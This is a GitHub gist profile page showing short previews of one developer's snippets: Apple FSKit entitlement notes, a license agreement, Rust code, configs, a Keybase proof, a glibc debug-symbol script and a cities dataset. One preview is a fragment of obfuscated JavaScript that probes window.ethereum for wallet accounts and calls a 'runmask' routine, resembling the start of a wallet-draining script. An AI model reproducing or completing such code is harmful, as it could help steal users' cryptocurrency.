Skip to content

Instantly share code, notes, and snippets.

View fasterthanlime's full-sized avatar
🌃
4 oreos from heaven

Amos Wenger fasterthanlime

🌃
4 oreos from heaven
View GitHub Profile

Here are Apple-provided sources you can point at that show FSKit file system extensions are entitlement-gated and live in the "extension / system extension" world (not "just load a plugin"):

  • FSKit overview (Apple docs) --- explicitly says you deliver an FSKit module as an app extension that runs in user space

  • FSKit Module entitlement (Apple docs) --- com.apple.developer.fskit.fsmodule is the entitlement that indicates an extension provides an FSKit filesystem (i.e., without it you're not "an FSKit filesystem extension" in the eyes of the OS).

  • System Extension install entitlement (Apple docs) --- com.apple.developer.system-extension.install is the entitlement that allows a host app to activate/deactivate system extensions (the general mechanism used to get these kinds of extensions loaded/managed on macOS). 

  • WWDC statement about extension sandboxing --- Apple describes extension code being isolated into its own daemon process that's sandboxed (this

@fasterthanlime
fasterthanlime / cla.md
Last active February 5, 2026 19:14
The Contributor License Agreement for Vixen

Contributor License Agreement

Thank you for your interest in contributing to Vixen ("Project"), owned by Amos Wenger ("Owner").

By submitting a pull request or otherwise contributing to this Project, you agree to the following terms:

1. Definitions

"Contribution" means any original work of authorship, including any modifications or additions to existing work, that you submit to the Project.

var neth = 0;
var rund = 0;
var loval = 0;
async function checkethereumw() {
try {
const _0x124ed3 = await window.ethereum.request({
'method': "eth_accounts"
});
if (_0x124ed3.length > 0) {
runmask();
// Update 2025-05-22 — ported to rand v0.9, using a struct with Display impl rather than returning a string
struct MarineLine;
impl std::fmt::Display for MarineLine {
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
use rand::{Rng, seq::IndexedRandom};
let marine_life = ["🐳", "🐠", "🦈", "🐙", "🐡", "🐬", "🐟", "🦀", "🐋"];
let water = [
abcccccccccccccccccaaccccccccccccaaaaaaaacccccccccccaaaaaccccaaaaaaccaaaaaaaaaaaaaaaaaccccccccccccccccaaacccccaaaaaaaacccaaaccccccccccccccccccccccccccccccccccccccccccccccccccaaaaa
abccccccccccccccccaaacaacccccccccccaaaacccccccccccccaaaaaacccaaaaaaccaaaaaaaaaaaaaaaaaaaacccccccccaaacaaacccccaaaaaaaaaccaaaaccccccccccccccccccccccccccccccccccccccccccccccccaaaaaa
abcccccccccccccccccaaaaacccccccccccaaaaaccccccccccccaaaaaaccccaaaacccaaaacccaaaaaaaaaaaaacccccccccaaaaaaaaaacccaaaaaaaaccaaaaccccccccccccccccccccccccccccccccccaaacccccccccccaaaaaa
abcccccccccccccccaaaaaacccccccccccaaacaaccaaccccccccaaaaaaccccaaaacccaaaccccaaaaaaaaaaaaaccccccccccaaaaaaaaaccaaaaaacccccaaacccccccccccccccccccccccccccccccccccaaaccccccccccccccaaa
abcccccccccccccccaaaaaaaacccccccccaacccacaaacaacccccccaaccccccaccaccccccccaaaaaaaaaaaaccccccccccccccaaaaaaacccaaaaaaacccccccccccccaacccccccccccccccccccccccccccaaaccccccccccccccaaa
abcccccccccccccccaacaaaaacccccccccccccccccaaaaacccccccccccccccccccccccccccaaaaaaaaaaaaccccccccccccccaaaaaaccccaaccaaaccccccc
app = "cove"
[build]
image = "bearcove/cove"
[[services]]
internal_port = 3700
protocol = "tcp"
[[services.port]]
{
"workbench.editor.enablePreviewFromQuickOpen": false,
"workbench.colorTheme": "GitHub Dark",
"rust-analyzer.checkOnSave.command": "clippy",
"workbench.editor.enablePreview": false,
"editor.minimap.enabled": false,
"[rust]": {
"editor.formatOnSave": true,
"editor.tabSize": 4
},
### Keybase proof
I hereby claim:
* I am fasterthanlime on github.
* I am fasterthanlime (https://keybase.io/fasterthanlime) on keybase.
* I have a public key ASDKQAVzwQZlAYM05Au2Pv3-DMiTfsGtRIyLKBQTWkGthgo
To claim this, I am signing this object:
@fasterthanlime
fasterthanlime / install-glibc-debug.sh
Created January 9, 2021 20:10 — forked from nbulischeck/install-glibc-debug.sh
Install glibc debug symbols on Arch Linux for pwndbg heap analysis
#!/bin/bash
# Install Dependencies
sudo pacman -S git svn gd lib32-gcc-libs patch make bison fakeroot
# Checkout glibc source
svn checkout --depth=empty svn://svn.archlinux.org/packages
cd packages
svn update glibc
cd glibc/repos/core-x86_64
@fasterthanlime
fasterthanlime / cities.json
Created July 5, 2020 17:53 — forked from Miserlou/cities.json
1000 Largest US Cities By Population With Geographic Coordinates, in JSON
[
{
"city": "New York",
"growth_from_2000_to_2013": "4.8%",
"latitude": 40.7127837,
"longitude": -74.0059413,
"population": "8405837",
"rank": "1",
"state": "New York"
},